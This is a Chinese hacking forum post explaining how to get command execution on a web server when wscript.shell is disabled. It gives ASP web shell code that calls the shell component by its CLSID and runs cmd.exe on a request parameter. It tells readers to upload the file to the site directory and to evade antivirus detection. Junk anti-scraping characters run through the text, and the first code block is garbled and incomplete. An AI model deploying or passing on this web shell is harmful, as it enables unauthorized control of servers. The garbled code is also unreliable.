没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  & r& r8 j% x" }+ q# x* U
• 把下面代码复制：
  " N  n4 E! |3 \* E8 T$ D3 ~- r' }
• <%
  " E6 k3 T# ^( n3 ?+ R
• end if
  
• response.write(”")
  
• On Error Resume
  4 e- l4 t! [9 A' F1 I
• Next
  . _1 a9 G+ |/ W* e! o3 j  s
• response.write oScriptlhn.exec(”cmd.exe /c” &
  + ^4 W8 S! c: H
• request(”c”)).stdout.readall
  
• response.write(”")
  4 P6 O  |  t- j9 I
• response.write(”")
  
• response.write(”
  
• “)
  ' F$ t% H0 i8 V9 D9 x3 s! G: y
• response.write(”")
  ; W1 ]4 X2 |+ Q+ p2 E" X
• %>
  & M  s6 C* ?; q0 m3 K
• 保存为一个asp文件，然后传到网站目录上去
  1 v) v. n- f+ M& R1 W' s# p3 q
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  
• 我用此成功运行过cacls命令。
  8 t& ^- R+ B3 ?0 S5 ?+ w
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  + J8 s$ ^& C, Z6 o1 v( n/ c
• <object runat=server id=oScriptlhn scope=page
  8 b3 C8 K+ A" q7 v6 k
• 
  
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  " H, ?. Y/ O! o) X
• <%if err then%>
  
• <object runat=server id=oScriptlhn scope=page
  1 D* `- m6 r; Z9 i# T0 B# f
• 
  6 a6 H' b% v2 ]6 ]
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  
• <%
  7 g& |3 Q: E2 X) k4 K% p+ f+ L& J* ~
• end if
  ' r- p2 Q: p& V- e
• response.write(”<textarea readonly cols=80
  
• 
  
• rows=20>”)
  2 {: z5 V" j2 W) ~. C4 x5 z
• On Error Resume Next
  7 O2 {( ?  T3 |3 M
• response.write
  
• 
  
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  ! X* G' J9 F! b) [) {# g# `0 c
• response.write(”</textarea>”)
  
• response.write(”<form
  1 E- Y8 j1 J/ q. I- r/ m
• 
  
• method=’post’>”)
  ' @! m  ]) h8 T# R5 M
• response.write(”<input type=text name=’c'
  
• 
  
• size=60><br>”)
  
• response.write(”<input type=submit
  
• 
  * s& M. W9 B' v" V; {
• value=’执行’></form>”)
  : `: g8 G. ~; O1 C0 E. d* I6 n1 q4 t4 J
• %>
  ! }! F! w+ I8 b4 t1 T3 q4 O/ c
• 保存为ASP，此代码可能被杀，请注意免杀。
  8 q! N7 ^2 C7 [
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  / C/ w4 i; O( }7 L

复制代码